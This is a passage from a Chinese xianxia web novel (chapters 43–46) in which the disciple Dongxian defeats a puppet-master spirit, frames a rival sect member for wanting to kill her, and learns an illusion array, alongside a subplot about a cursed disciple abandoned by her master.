东闲轻撩起眼皮，目光在宋问天面上逡巡片刻，唇角便勾勒出挑衅的弧度。
“师弟心中不痛快，就来比试台寻我。”
宋问天与东闲有难以化解的嫌隙，大家都知道，但此前都是暗中的不对付，两人明面从不接触。
明面上的针锋，这是第一次。
宋问天厌恶魔，鬼煞冢自从魔尊被封印其中后，便滋生魔气万千，早已成为魔的老巢，故而宋问天连带着从鬼煞冢回来的东闲也看不顺眼。
宋问天一直认为东闲不可能能够从鬼煞冢安然无恙地回来，势必会与魔修达成某种勾当才得以逃出，只是因为失去记忆忘了此事，但不论有没有记忆，他坚信东闲不无辜。
宋问天坚持己见，哪怕有所谓的“仙尊证明”。
玄清宗并不阻止弟子们之间的打闹，只要不做得太过火，掌门和众长老们都会睁一只眼闭一只眼算过去了。
甚至可称得上鼓舞弟子们有事上比试台解决，一来算是磨砺，二来也在某种程度上降火气。
东闲也不管他同不同意，掐诀遁影离开学堂。
宋问天哪能看得下她这副云淡风轻的样子，头脑一热当下紧跟而去。
他早就想教训东闲了，若不是怕自己凝元境后期的修为去对付一个才淬灵境前期的修士，遭人笑话，不然东闲早就被他锤得满地找牙，看见他得绕道走。
现在也不迟。
宋问天愤恨地想到。
东闲掐诀遁影的速度有意停留，很快宋问天便能追上来，快要接近时，东闲动手了。
她的动作极快，只能捕捉到残影，从他灵台处生擒住那点极细的尾尖，调动着灵气将它从中拔出。
被拔出来的物什是瘴气幻化，生起密密麻麻的小刺，扎进东闲的指尖。
东闲早有预防，生起的灵气庇护住指尖，她及时松手，目光注视着从宋问天灵台处出来的一团灰蒙蒙暂且称得上瘴气的物什，这物什还在变大，漂浮在半空中。
宋问天浑浑噩噩，陷入一片虚无，目光无神地呆立在原处，他被侵入灵台，灵台受损，是要一段时间才能恢复清醒。
从他灵台处出来的瘴气已经变化成一个人的形状。
周遭的景象须臾间变化，东闲被拉进另一个地方，在这个新天地，只有东闲和人形的瘴气。
是灵域，可以把人强行拉进另一个空间，进行独属他们二人的战斗，道理和演武场上阵法幻化的幻境一样，不会影响到外界。
灵域是可以为外界人强行干预并破坏的，不过此刻无人经过，不会有人发现这里的灵域。
人形的瘴气虽未幻化出一张面庞，依旧能让人感受到它的意外。
“你怎么知道？”
东闲并起两指虚虚敲了两下脑袋，轻轻一笑。
“老家伙，我虽谈不上聪颖二字，小聪明还是有的。”
43.第 43 章
这声“老家伙”让暗黑雾状的物什明显地怔愣，他话中的意思是在问东闲怎么知道唐孟的灵台被侵入，然而东闲予他的答案表明她不仅知道，还知道是谁侵入唐孟的灵台。
东闲继续道：“你如今修为尽失，只剩下被摧残过的魂识，与我这个方入淬灵境的修士没什么两样，你唯一能够倚仗的是你的傀术，我正好对大名鼎鼎的孟老鬼的傀术很有兴趣，临死了，不必对我藏私。”
那抹暗黑雾状的物什原是老者的魂识，但有是魂体存在的缘故，看起来如雾般迷蒙易散。
不过这不是可以轻视他的理由，在修仙界，哪怕是只有魂体存在仍具备杀伤力，想要彻底杀死一个人，除非像怀玉教习那样毁掉内丹，这也是为何当初东闲让常时景头身分离后，还要销毁他的内丹。
“小丫头你还是一如既往地令人生厌，这一回可不会再有人救你。”
老者脚下有如漆黑液体的流状物什极快地向后蔓延，黑压压地吞尽半张天地，与东闲这处的明亮形成极致的明暗对比。
极致的暗内鼓囊囊地涌动着许多不安分的东西，这些东西似浆般粘稠，它们睁开赤红的血瞳，死死盯住东闲。
孟老鬼的傀儡们都被摧毁，无法再召唤出来，不过傀儡不是他唯一的手段，天下万道，万道有万法。
没有傀儡，他可以生傀儡，像他这种造诣颇高名气显赫的傀师，甚至可以做到让天地间的灵气成为供他驱使的傀儡。
可惜因为他的境界被废，不能发挥过往的威力，好在他使用傀术的实力还在，境界没了，他还是能拿傀术对付东闲。
东闲认真看着他的出手，识海立刻搜刮出简直是一模一样的招式，心道这招她熟啊。
她抬掌，身后的天地也被一片如墨般幽深的黑覆盖。
整个天地是无止境的黑，而她身上那件云水色弟子袍，使得她成为这天地唯一的色彩。
“老家伙，你瞧瞧我这招是不是跟你一样。”
在她身后，亦是一双双赤红的血瞳。
“你怎么会用傀术？”
察觉到自己的失态，孟老鬼冷嗤一声，虽不知东闲用的何种方法学的傀道，但比上他绝不会有生还的机会，他能被世人唤作孟老鬼，可就是靠的一身精湛绝伦的傀术。
他做了个“去”的手势，身后的傀儡们在无尽的黑下，像是潮水般向东闲的方向翻涌着。
东闲学着他的样子，指使着身后的傀儡与老者的傀儡扭打纠缠。
孟老鬼继续指挥，他的墨浆傀儡们已经占据半张天地，还在贪婪地吞噬着东闲的那边，浓稠浑浊的浆液飞溅，被它包裹的物什会泯灭神智归为它的同类，为孟老鬼的傀儡大军再添新丁。
东闲掐起御风术避开翻涌而来的墨浆内升起的无数双手，此后未再做过多的动作，只是让自己的傀儡替她挡下那些飞溅的墨浆，然后让它们照葫芦画瓢地朝着孟老鬼的方向吞噬。
东闲凝滞于半空，饶有兴味地道：“你再瞧瞧，我这又学得怎么样。”
孟老鬼叫道：“我没有在教你，我是要杀你……
他的话被眼前的景象强行打断，因为他居然发现东闲还真做得装模作样，不对，她是完全在照抄他所用的招式。
对方的墨浆傀儡完全是照学着他的墨浆傀儡，极具侮辱性。
可依东闲的意思，她是现学的啊，这套生术让天地灵气化为为他操控的傀儡，而东闲同样以生术化天地灵气为傀儡，初学傀道的修士不可能做到这点，而且在一个多月前东闲还只是一个引气入体的凡人。
老者再度出招，大抵觉得让区区淬灵境的修士多活一刻有些丢人，这回他用上了危月燕星宿传承，想要速战速决。
瑰丽的星宿图腾呈现在他身后，墨浆傀儡们被赋予危月燕的星宿力量，图腾印记同时出现在泥人身上，与东闲的傀儡相区分。
危月燕能够赋予它们破坏的力量，提升它们的战斗力。
东闲负手而立，目光紧盯眼前的变化，并不因对方的傀儡实力提升而惧怕。
而事实是，她的墨浆傀儡们也不见占在下风。
孟老鬼惊愕出声：“怎么可能？你明明没有星宿传承，又只有淬灵境的修为，怎么可能撑得住。”
东闲目中了然，她已经能够确定自己拥有着不同寻常的力量，超脱于星宿传承的存在。
我果然不是寻常人。
她看着孟老鬼见她简直非人的目光，不由得想笑。
关于我到底是什么，我也想知道。
“我也想知道为什么，你的傀术我一看就会，完全没有挑战性，就像我只用了一个月的时间升到淬灵境前期。跟你打也无甚意思，早些结束，我还得收拾你给我留下的烂摊子。”
孟老鬼感觉一口淤血卡在喉咙，他苦苦钻研修习的生术，居然被东闲一一堪破，并学以致用拿来对付自己。
而且更重要的是，东闲没有星宿传承，他使出的招式都是在星宿传承的加成下，却仅能同东闲打成平手。
太可气了，她居然用自己的招式对付自己，关键是自己还真被压制住。
他感觉老面都被东闲踩在脚下摩擦，破口大骂：“***没有别的招吗。”
东闲则能叫人更气愤。
“让你死在你引以为傲的傀术上，我觉得很爽快。”
浓浆傀儡间生起黑线万千，千万条丝线相互勾连，如提线木偶般，但它们吞噬的动作绝不僵硬而缓慢，生生不息，永远不会被消灭。
这一回，孟老鬼神色大骇，因为东闲使出的这招来自傀道鼻祖的十二招之一的生术，与传承上的没有任何区别，正统的生术更霸道更强势。
因为化作无穷丝线，如同织成遮天蔽日的蛛网，想要从中逃离尤其艰难，每一根丝线牵引着一个傀儡，无穷丝线便是无穷傀儡，东闲居然能把万千丝线控制到如此精确的地步，这可是对她的念力极具要求。
傀道术法有三类闻名天下，其中最为出名的便是傀道鼻祖的公布于天下的十二招。
孟老鬼钻研多年其中玄奥，将精力分布给每一根丝线实在艰难，故而将其中的生术稍加改动，虽然威力降低，但仍然能发挥强大作效，他方才所用就是经他改造的生术。
他额头开始沁汗，保
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存着一丝幻想，东闲才学了多久不会这么快就能成功的。
万千丝线缠住对面的傀儡，慢慢收紧，丝线嵌进它们的体内，被丝线勾缠住的傀儡会成为东闲的俘虏，也就是生术的生生不息，来源不断。
孟老鬼尝试操纵傀儡，空落落的联系让他发现他的傀儡全部叛逃了，那些赤红的血瞳不一而足地落在他身上。
如若说，孟老鬼原本还因为东闲学自己的招儿感到气愤，现在的孟老鬼只觉得恐惧，这种恐惧源自于对强者的臣服与忌惮。
上一刻他是嫉妒东闲的好天赋，这一刻他只想逃，在绝对的实力前，什么造次的想法都不敢有。
孟老鬼觉得自己一定看错东闲了，这***的能是个普通人？都能与傀道鼻祖扯上联系了，与这种人为敌那就只能选择彻底杀死，很显然，现在的情况只能是后者，更糟糕的是，他现在是要成为被杀的那个。
东闲兴致缺缺，也看出他没什么能耐，也许其中有他修为被废的缘故，从而无法施展更厉害的傀术，传闻中的孟老鬼还不至于这么快就穷途末路。
不过从孟老鬼的反应可看出，贪狼星君真的给她世间极致的秘法，孟老鬼的傀术一看就是她所施展的盗版。
“你奉公主命令来试探我，而我，只会让她满意。”
千丝万缕的黑线在反叛孟老鬼的傀儡后，又无情地尽数绞杀，最后的依仗也被堪破，孟老鬼成了彻底的输家。
浓浆退却，她仰首望天，似是在透过那片虚无看另一个人，而孟老鬼想要借机逃跑，但在东闲的眼皮底下，他是不可能逃掉的。
傀儡们将想要逃跑的孟老鬼给拖了回来，送到她面前。
“不，你赢了，你放过我吧，我不会对你有威胁。”
他才从林纾衣的手下死过一劫，有了生的机会后，他不想再死了，他的语气几乎是无比恳求。
对于他的求饶，东闲并不意外，号称为孟老鬼的他其实贪生怕死，不然当初也不会窝囊地苟在乱葬岗中数日都不敢跑。
为了安抚这个浑身发抖的魂识，东闲有意放轻说话的语气，这一轻，反而带上森然之意。
“公主把你送到我这来，就是想看你活下去？且不说公主是何用意，你哪里看得出我心慈怜。”
她缓缓逼近，引得孟老鬼放声大叫。
“不！不要！啊啊啊啊啊！”
东闲的手已经放在老者的头颅上，五指收紧，轻轻一旋，却生有撼山石般的力量，生生地拧断，因惊惧而发出的尖利的惊叫声撕扯着耳膜，她不为所动，那颗头颅化云化雾，于指缝间消散，很快就没了实质的触感。
灵域的主人已死，灵域自然而然地解除，东闲从灵域中出来，她垂眸清尽因打斗而带来的兴奋，再次抬眸时，便恢复平常的模样。
唐孟终于恢复神智，他感觉大脑一阵刺痛，而这突然“造访”的刺痛除了东闲不会再有别人带来，毕竟附近就她一个人，他清醒的时候可是看见了东闲伸来的爪。
“铮”的一声拔出长剑，恼急的语气同锋芒一齐指向东闲。
“慕婉思，你居然耍阴招。”
44.第 44 章
“你既然耍阴招在前，那我也不必对你客气。”
另有一声娇喝传来，清丽甜美的声音却裹挟着冰霜冷意。
“宋问天，你想对谁不客气。”
安泛泛听说东闲要与宋问天比试，立刻带着她的姐妹团赶来，这一浩荡荡的人来，颇有几分气势。
东闲看见了她，垮着张一看就是受了欺负的脸，委委屈屈地唤了一声。
“师姐。”
再对比宋问天由怒气涨红的脸庞及不加掩饰的嫌恶之意，确实很像是东闲受了欺负。
安泛泛一把把东闲拉到身后，叉腰怒喝：“你一个凝元境中期的修士好意思欺负才淬灵境前期的修士，呸！不要脸。”
宋问天觉得安泛泛无理至今，当下也恼怒道：“这是她提出来的，我又没逼她。”
安泛泛的姐妹团也不服气了，安泛泛跟东闲玩得好，她们自然而然地也跟东闲玩得好，理所当然地，她们也会罩东闲。
念珍：“她说说气话而已，你不会让着她吗，真是小肚鸡肠。”
宋问天：“她的炉鼎差点伤到我，她没响我道歉还想跟我去比试场，到底是谁小肚鸡肠。”
东闲急忙打断，道：“不是的，是他自己……虽然我也……”
她很巧妙地停顿，看似想解释却把宋问天陷入更糟糕的境地，宋问天恨不得想上前抽她几个耳刮子。
总是怀抱兔子的姑娘来前已经了解一部分情况，冷眼看宋问天，接过接力棒继续输出：“大家都知道慕师妹在丹道上的欠缺，她已经很努力了，你就不能包容她吗，而且你知道她会炸炉你为什么非要贴上去，你就是故意找慕师妹茬的。”
她又补充一句，“慕师妹明明很自责，她是为了让你消气才说去比试场的，你却是想借此机会欺负慕师妹。”
东闲十分赞同地连连颔首，见宋问天看过来，她瑟缩地躲在安泛泛身后，揪紧了安泛泛的袖子。
安泛泛哪受得了，立刻挺胸迎上去，“你瞪什么瞪！”
这时姐妹团中又一人道：“慕师妹曾经受过那样严重的伤，你还真好意思和她打不成？要说你不是因为想趁机欺负慕师妹我可第一个不信，你一定是故意设局等慕师妹往下跳，太卑鄙了。”
宋问天气得瞪直了眼，头发都要倒竖起来。
***炸炉刚丢进去材料才出来个火苗子就能把炉鼎给炸了啊，那明显是故意的好吧！
还有那句挑衅的话怎么就成了她在自责，她当时的怎么看都欠扁的神情可哪有半点这个意思啊，她要是善解人意还***的搞偷袭？！
这一气，连自己灵台的痛楚都气没了，他也就忘了这茬，与她们争执起来。
双方口水泡沫飞溅，东闲默默退了几步，以免被口水泡沫给淹死。
姐妹团战斗力杠杠的，根本不给宋问天说话的份，把宋问天怼得梗红了脖子，双眼都气得红通通，几乎要哭出来。
也有些以为他们二人要比试的其他吃瓜弟子们跟过来看戏，把宋问天气哭的丑态给看尽。
宋问天要气炸了，他要跟东闲誓不两立啊！
等泪眼汪汪的宋问天气跑了，安泛泛叫大家散了，别再停留这，要是让教习和长老们看见，那就不好看了。
回头后，安泛泛也不忘数落东闲，语气可凶，就是瞧着像鼓着腮帮子的小仓鼠，怎么也叫人怕不起来，甚至可爱得过分。
见东闲不但不反思还莫名其妙地笑起来，安泛泛没好气地道：“你又在笑什么，你差点就要被宋问天打死了知不知道。
“宋问天比你高一个境界，你可别小瞧一个境界，就是高一个阶段都有大不同，而且宋问天本就对你有意见，对你出手定然不会留情。”
东闲两眼一眨不眨地盯着她的脸颊，感觉手又有些发痒了。
“师姐，你知不知道你很讨人喜欢？”
安泛泛哼了声，很是自信：“我当然讨人喜欢，还用你说。”
东闲不禁莞尔。
东闲继续道：“师姐，你们打算去山下市集吗，今日霓裳铺要上一批新货，现在去说不定还能赶上几块好料子。”
安泛泛有些意外，“你不去演武场了吗？”
平常这个时候东闲都是要去演武场的。
东闲颔首，“嗯，不去了。”
她心里还念着林纾衣让孟老鬼对她动手出自何意。
而且，傀道十二招之一的生术太耗费精力了，她才淬灵境前期，吃不消其中的强度，能够杀死孟老鬼，她自己也大致摸清自己的实力，今日姑且给自己放个假吧。
走时，东闲朝长白峰的方向望了一眼。
清微仙尊的消息又沉寂了，没有人知道她是否还留在玄清宗。
东闲私以为，清微仙尊应当是离开了玄清宗。
***
碧连山上，唐云岫撑着鱼竿在河边垂钓，每钓到一只就又扔回水里，如此反复，差不多就能将半日混过去。
一个白衣女人毫无声息地出现在唐云岫身后。
“师尊你来了。”
唐云岫有所察觉，心中强压着激动，最近师尊来见她的次数越来越多了。
但她不敢表露自己的欢喜，若是师尊发现她的情绪变化，必然会单方面切断通讯卷轴的联系，又让她一人待在碧连山上。
她复而想到什么，情绪因此得以平复。
“师尊若是不想让我下山，这恐怕不行。”
师尊近日来得频繁，莫不是想打消她下山的念头。
她有着毁灭一切的冲动，她会为这个世界带来祸害。
只是被关在无人能够踏入的碧连山，日日没事念念清心咒，打打坐，压制了内心的毁灭欲。
故而清微仙尊从不肯放她下山，清微仙尊曾以为只要她一辈子待在与世隔绝的碧连山上，就不会给世间带来灾害，她也能安全地度过余生，摆脱被孤煞咒束缚的命运。
然而事实证明，清微仙尊的想法太过天真，孤煞咒的强悍并不会因为唐云岫一辈子待在碧连山不与他人接触，就能得到控制。
孤煞咒一直在发挥作用，作为它的寄体，唐云岫最能感受到它的力量在增强。
整日念着清心咒，待在看不见一个人的碧连山，把这样的日子过了十年，她觉得自己跟死了没什么差别，有时候都会忍不住问自己还活着吗。
唐云岫指着心口，道：“你拦不住我，它的力量我开始掌控不住了，我不知道还能坚持多久，我也不知道被它取代后我会做出多出格的事，离开碧连山已经是我必须要做的事，师尊，我没有任性。”
她总要面对那个它，那个让她想要毁灭所有的它，即为内心的阴暗面。
“我不想被它驱使，如若有办法对付它我想尝试。”
清微仙尊知道唐云岫有多想离开碧连山，在碧连山除了自己外她没有任何可以说话的对象，只有普通的飞禽走兽，清微仙尊起初这样做是为了以防唐云岫受它的影响而激发毁灭欲。
十年来，唐云岫为了不被另一面掌控，始终待在碧连山上，从未踏出去半分，也无人能够走进半分。
清微仙尊道：“我不拦你，你想下山便去吧。”
唐云岫终于停止了枯燥重复的动作，一如觉得自己终于能够停止在碧连山周而复始的生活。
她不敢相信地回头看向清微仙尊，面上流露出几分欣喜，这几乎是她被困在碧连山十年以来，唯一一个真实发自内心的的笑。
“师尊，我当真能下山，你也觉得我可以赌那五成的生。”
清微仙尊失语没有回答，沉浸在喜悦之中的唐云岫，没有注意到仙尊复杂的目光，她几乎想跳起来，天知道她有多
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讨厌困了她十年的碧连山。
每日清晨醒来，她在碧连山见不到一个人，就连妖兽都没有，她根本没有开口说话的机会，为了不让自己丧失言语的能力，她每天都要自说自话许久，但无人能回应她。
碧连山很安全，这里有清微仙尊的庇佑，所以唐云岫不会受伤，但过于安闲的生活最叫她抓狂。
最开始刚来碧连山的时候，她因为无聊花了半个月的时间把整座山都翻了个边，此后面对的是无尽孤独。
她觉得孤煞咒未必能得到解除，而她一定会被逼疯的。
而就在今日，清微仙尊终于答应放她下山了。
她满心期待地问：“师尊，我何时能下山？”
清微仙尊道：“她会来寻你，你安心候着，莫要胡思乱想。”
唐云岫郑重地颔首，表示明白。
清微仙尊看着她容易满足的面容，少有的失神。
“师尊，我想吃鱼。”
唐云岫再次响起的声音打断清微师尊的思绪，她看着师尊回神，觉得师尊最近发呆的次数越来越多了。
清微仙尊听出她的言下之意，是问自己能不能多待一会。
清微仙尊没吭声，是一种默认。
唐云岫继续钓鱼，总是故意在鱼快上钩时提前收了鱼钩，水底下的鱼儿都急得团团转。
她状似苦恼地道：“怎么又没钓上，师尊你再等等，马上就好。”
其实动用灵力，一条河的鱼都能翻到岸上来，但是唐云岫没这样做。
清微仙尊也没有出声。
而是看着她，默许了她这如小孩耍赖的行为。
唐云岫心情过于愉快，一时没能掩藏住心中想法，而问了出来。
“师尊，你不会丢下我吧，无论什么时候。”
清微仙尊拧眉而道：“你又受它影响了。”
唐云岫面色僵硬，随即将情绪收敛。
清微仙尊道：“我此后不会再来。”
唐云岫的动作顿住，她看向清微仙尊，言语可闻失落。
“你生气了吗？”
清微仙尊不会生气，她摇了摇头，道：“日后我都不会再来，你已不再需要我，你与我的师徒情分缘尽于此，此后不必再唤我师尊，也不必来寻我。”
竟是要与她断绝师徒关系！
她什么都没做错，为何要与她断绝关系，唐云岫不明白，潜藏在心底的怨恨几乎将她吞没。
她身上的气息紊乱，一时不小心没能控制力量的释放，引得溪水震荡，砰砰声响激荡出水花无数，无数条死鱼被翻飞砸在岸上。
清微仙尊的目光随即犀利而充满锋芒，于是那点温情也消弭不见。
“它对你的影响果然不曾削减过，你且好好念着心经，将它控制住。”
她脸色发白，想要挽留却不能开口，那会使得师尊更加失望，最终也只能眼看着师尊离去。
她几乎瘫软整个身子，知道这一离开，她就再也看不见清微仙尊了。
水中她的倒影神情变化，显得邪恶而让人讨厌，这是多年以来藏在她内心的另一个自己，由孤煞咒带来。
对着水中的倒影，她喃喃道：“师尊是察觉出什么了吗。”
唐云岫心中有从未吐露的秘密。
比方她曾得星君赐福。
她躺在遒劲有力的树干上，天际浮现巨门星君的模样。
巨门星君的赐福让她不受清微仙尊的桎梏，修炼速度飞快。
巨门星君的指引让她在碧连山内挖出了个紫葫芦，紫葫芦中的剑可帮她挡劫雷。
她早就可以离开碧连山了。
清微仙尊不会知道，她偷偷下山很多次。
如若清微仙尊要放弃她，她绝不会放弃自己。
或许，她与这世间本就只有一方能存活。
45.第 45 章
莫吟洲蹲守数日，遵照东闲所言拍下拍卖品，至此，他才明白那看不见摸不着的拍卖品内是何物。
他哑然，难怪杀手们唉声叹气说到了行业寒冬期，杀手行业卷到连一个拍卖行都要分羹一杯。
他把此事告诉东闲，这回东闲接得快，给莫吟洲的回答居然是杀了慕婉思。
莫吟洲差点以为自己听错了，她叫别人杀死自己，这算什么意思。
东闲没有为他解释的想法，而他隐隐约约猜出一点东闲这样做的目的——让他们自相残杀？
有些不靠谱，他想东闲应当另有计策，此人曾说过有危险就拿他垫背的话来。
东闲又提醒道：“记住你现在的所为皆是少爷的命令，让他们听你行事，我现在还舍不得你死，你可别让我失望了。”
她后半句话语故作腻歪，惹得莫吟洲差点想摔了听音螺。
莫吟洲还是强忍恶心僵着脸结束了一段对话，告诉玲珑阁他要买凶杀人。
等到事情办妥，莫吟洲又握紧听音螺，道：“你确定我能用宋问天的名义？”
另一方的东闲慢悠悠地道：“他确实不喜欢我。”
莫吟洲：“？”
你不要坑我啊。
说什么让他们自相残杀的计策真的有用吗，我跟着你其实也是死路一条才对吧。
他还想说什么，东闲已经单方面结束听音螺的联系。
东闲让莫吟洲这样做的态度并非随意，她没必要向莫吟洲解释她做事的缘由。
让莫吟洲假借宋问天的名义杀慕婉思也非胡来，所有人都知宋问天厌恶魔，于是他讨厌上与魔有染的慕婉思不会引人生起怀疑。
至于宋问天会不会杀她。
不用他生起这个念头，只要让所有人都知道他想杀了她就行，谣言是最好的利器。
何况买凶杀人这种事并不光彩，宋问天不承认也正常。
东闲这下恰好要去学堂上课，她会让宋问天主动出手的。
药道课一结束，她正要往宋问天那里走，结果被几个师姐拦住。
这群弟子受安泛泛暗中打点，故而在平时会帮着东闲。
某师姐向她挤眉弄眼道：“慕师妹，你还是别去找宋师弟，你是知道的。”
东闲感到既窘迫又难过，绞着双手看起来有些不甘心。
“如若是因为这样伤了我和宋师弟的和气。”
她摇了摇头，复而大声唤道：“宋师弟，我有事想和你解释。”
宋问天闻言看了过来，心道今日倒没把那凝玉箫带过来，既然东闲主动找上门，那他先把东闲骗过去也行。
“你我之间确有误会，你想解释，我可以听。”
东闲面上一喜，道：“好，宋师弟我们就在听风竹林相见吧。”
听风竹林不免让人想到住在那的怪人亓沂，宋问天又想自己只是正常吹箫应当没关系，于是应下。
其他弟子面面相觑，只能赶快把此事告诉安泛泛。
东闲下了学堂还要去无双峰，月华长老特意吩咐今日让她早些来。
她掐起御风术往无双峰赶去，很快来到了无双峰峰顶，坐在秋千上的身着槿紫长裙的女人已等候她多时。
月华长老起身朝她款款走来，踩在水面荡出涟漪一圈又一圈，如履平面，未染湿鞋底与裙摆分毫。
东闲早已知晓这片池塘都是由幻境所为，是虚假的，任由月华长老的心意改变，这便是月华长老的能力。
“今日我要教你些不一样的，先前的那些于你而言太过简单，我不可再拿待他们的态度待你。”
月华长老转身朝某处走去。
见状，东闲连忙跟上月华长老的步伐。
月华长老伸手指了一处，让东闲看过去，问道：“你能看出那一片是我的阵法伪造的吗？”
她指的一处是东闲上来的地方，东闲经常用御风术赶到那条小径来，而后一步一步地踩着青石阶来到顶峰，却是从未看出附近的古怪。
她老实摇头，道：“弟子不知。”
在月华长老面前，她永远是乖巧上进的，这副模样已经深入月华长老心中，何况本来的慕婉思也算是个听话的弟子。
月华长老并不意外她的答案，也没指望让她一眼看出不同，东闲现在方是淬灵境，所布阵法发挥的威力会随着境界的提升而提升，她看不出很正常。
她道：“你可以试着猜测我这道阵法靠什么维持。”
东闲知道，月华长老擅长的便是幻阵，著名为镜花水月，此为百道秘法绝学之一，能以假乱真，身处阵中人分不清真假。
她仔细想了下，脑海中有个阵法要冒出头来，于是道：“气分阴阳，阴阳化合，产生万物。弟子猜测这道阵法靠阴阳二气维持。”
月华长老面露赞赏，“不错，正是阴阳二气。”
月华长老的绝学便是贪狼星君传来的百道秘法绝学之一，东闲的脑海里能够自动演变一遍。
月华长老不知她所想，还在为她讲解着。
东闲表面装个懵懂的模样，“嗯嗯哦哦”过去，适当地装笨提出疑问，实则内心里将镜花水月不知来回演变多少次。
她是真的学会了月华长老的绝学，同时因为知道太多百道秘法绝学，甚至一下想出哪个秘法是能够最好地针对镜花水月。
东闲不禁好奇，贪狼星君是天上的神，这些秘法绝学为人所创造，祂为何会记下人的秘法绝学转而传给她呢？难不成神真是要下凡历劫的？
东闲越想越乱，倒想问贪狼星君，可惜对方绝不会回应她。
月华长老道：“阴阳和顺为吉，阴阳杂逆则万物异常，日月不明，四时混乱，寒暑杂混。利用这点，幻阵之内便是为你所操控的世界，你就是这个世界的造物主。”
月华长老轻轻推着东闲的后背，将她推到那片区域之中，她几番抬手，让东闲所在之地一会落暴雨，一会降山洪，一会雷霆密布，身处其中的东闲五感都叫嚣着这一切是为真实。
等到她回到月华长老身边，身上都是被冲得湿漉漉的，面容惨白，是生机被剥夺的迹象。
月华长老站在比她高一级的石阶之上，她的眉目富有亲和力，却在此刻多了分凌厉。
“你猜猜我若想在幻阵杀人，如何杀才能神不知鬼不觉。”
东闲回忆着方才所历，道：“弟子猜测人的体内也是有气的，阴阳调和才会健康，幻境的维持需要阴阳二气，那便是从人体中拿。”
这是她的身体变化告诉她的。
月华长老禁不住笑了，显然很是欣喜，她道：“我当真没看错你，你能想到我的镜花水月是由阴阳二气维持，便已胜过你的几个师兄师姐。”
东闲心中回味着方才的境遇，镜花水月名不虚传，以阴阳二气运转的幻阵，几乎就是一个真实的世界，是真的能够做到无声无息杀人。
迈入幻阵的人甚至觉察不到自己死了，来自人体的阴阳二气维持着幻境，他永远困在其中以为自己还活着，幻境吃的人越多甚至会越强大，达成真正的以假乱真的目的。
说镜花水月是阵法其实也不全然正确，它是阵术与法术结合的成果，不似部分阵法需要阵物和进行严密计算去摆阵，只要三颗乌琉子。
月华长老把三颗乌琉子放在东闲的手心，外形如三个黑得发亮的石子。
她让东闲尝试着先用阴阳二气创造一个世界来，能够再度来无双峰展现令月华长老还算满意的学习成果，方允诺她继续下面的教学。
东闲应下告退，转而去了听风竹林等候宋问天。
宋问天来时手上持有一把冰蓝长箫，长箫表面生出淡淡寒气，东闲不知那长箫何作用，只见其物不凡心生警惕。
东闲余光瞥了眼竹屋，渐渐安心，道：“你觉得我从鬼煞冢出来便是与魔有染，可我若与魔有染，诸位长老和清微仙尊便不会留我，宋师弟你若是记恨我上次对你动手，我向你道不是。”
宋问天不寻常地笑道：“你不是说我们二人间有误会吗，我想我们之间的确有误会，那
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我一曲化干戈为玉帛如何。”
他也没给东闲说话的机会，拿起长箫就要奏起，可惜箫声还没响多久，那本在竹屋的人不知何时来到附近，凌空挥去的一拳带起来的气猛向他的腹部。
落在东闲眼中，虽看不出气化成的拳如何凶猛，却能看见宋问天急速凹下去变形的腹部。
东闲余光注意到其他弟子要赶来了，看出这是机会，飞身上前作势要拉宋问天，实则暗中使力对付。
宋问天察觉到是东闲在出手，在被东闲拉住时，抬掌将不设防的她拍到一边去，压倒一干竹子。
“慕婉思，我要杀了你。”
外面的声音逐渐嘈杂，有人恰好看到这一幕，正是宋问天对东闲出手口出狂言一幕。
所有人都围上东闲，观察她伤势，有人早先因为东闲主动喊话宋问天，故而特意把安泛泛叫了过来。
东闲被他们围着都不能笑出声来，鬼知道宋问天真的会对她说出“我要杀了你”这句话啊。
安泛泛当即为东闲检查伤势，想要说什么，就听见竹林深处传来一声带着攻击力的“滚”。
亓沂不知何时又回到她的竹屋中去了。
众人皆知听风竹林内住着性子孤僻不好相处的怪人亓沂，他们自然不敢停留，个个马上从原地滚蛋。
东闲朝着听风竹林看去，方才多亏了亓沂的那举，助她散播谣言，这么多人看见了，可不就是宋问天对她怀有杀意么。
不过依照宋问天这个气量，东闲多气气他，那么宋问天想杀她也不是没有可能哎。
东闲不禁又想，依亓沂的性子是不可能主动出手帮她，那么就是宋问天的长箫另有作效。
还不待她问，她便听见搀扶她的安泛泛主动为她解答。
“宋问天居然把凝玉箫也带过来，明明长老们和清微仙尊都肯定你与魔无关，他到底还想怎样，你日后别再搭理他，他简直固执到蠢的地步了。”
东闲心下了然，若是宋问天的凝玉箫能探测她是否与魔有染，那么亓沂方才所为应是怕凝玉箫也会对她产生影响。
难不成亓沂真找到与魔共处的方法不成？
离开听风竹林的路上，有弟子急急匆匆地跑了过来，目标明确，直向安泛泛。
“安师姐，外面来了个连前辈重伤求愈，玄真长老不在，只能希望你能来出面了。”
东闲细品这句话的含金量，伤患的病情需要玄真长老亲自出面，此人身份势必重要，安泛泛能替代玄真长老出面，可见她虽为玄清宗人人知晓的摆烂弟子第一名，却也受足敬重。
是的，依宋问天的性子，早该找她的麻烦，日日丹道课上总有一道目光要把她生生看出个洞来，若非有安泛泛仗着，被她“伤”了魂识的宋问天也不会能忍这么多日都不找她麻烦。
喜欢八卦的覃师姐说了所有人的八卦，也不会说到安泛泛身上。
就是日日找安泛泛玩的小姐妹们，看似关系亲密，其实事事以安泛泛为先，唯有她觉得师姐可爱得过分。
东闲突然有一种“我的师姐其实很厉害”的念头来。
她起了想要一同前往的心思，赶在安泛泛开口前回应道：“师姐，我身上并无大碍，我同你一起去吧。”
安泛泛并未拒绝，跟着那弟子前去医馆治人。
那位连前辈就在医馆内，安泛泛轻而易举地进入医馆，其他人则被阻挡在外不准入内，东闲被归为闲杂人自是同样不被允许入内，她便来到秦师姐身侧。
“秦师姐，连你都不能入内吗？”
秦师姐道：“里面躺着的那位是朝天宫的连前辈，由安师妹亲自出面再好不过，连前辈的情况不方便太多人知道，我等且在外安心侯着。”
东闲微微错愕，下意识问道：“这位连前辈来自朝天宫？
朝天宫难道没有医术精湛的药修吗，这位连前辈难道真的重伤到撑不到回去朝天宫的时候的地步？
东闲一颗心被无形的大手攥住。
心里有个可怕的猜想形成。
46.第 46 章
“朝天圣果被贼人盗走数日，去向未知，我们连一个凡人的底细都调查不清，我很好奇，她的身后之人是谁，竟敢算计朝天宫且将事情做得滴水不漏。”
榻上中伤的女子蠕动着发白的唇，徐徐而道。
坐在榻边上的女子则替她整理些许杂乱的碎发，微微笑着，顺带抚平她团在一起的两眉。
“你同我说贼人就藏在玄清宗，让我带你进来，这是何意？”
原本连筝中毒，华尚想尽快带连筝回朝天宫治伤，途中听见几人在谈论玄清宗从鬼煞冢回来的炼心境弟子的事，连筝说什么都要去一趟玄清宗。
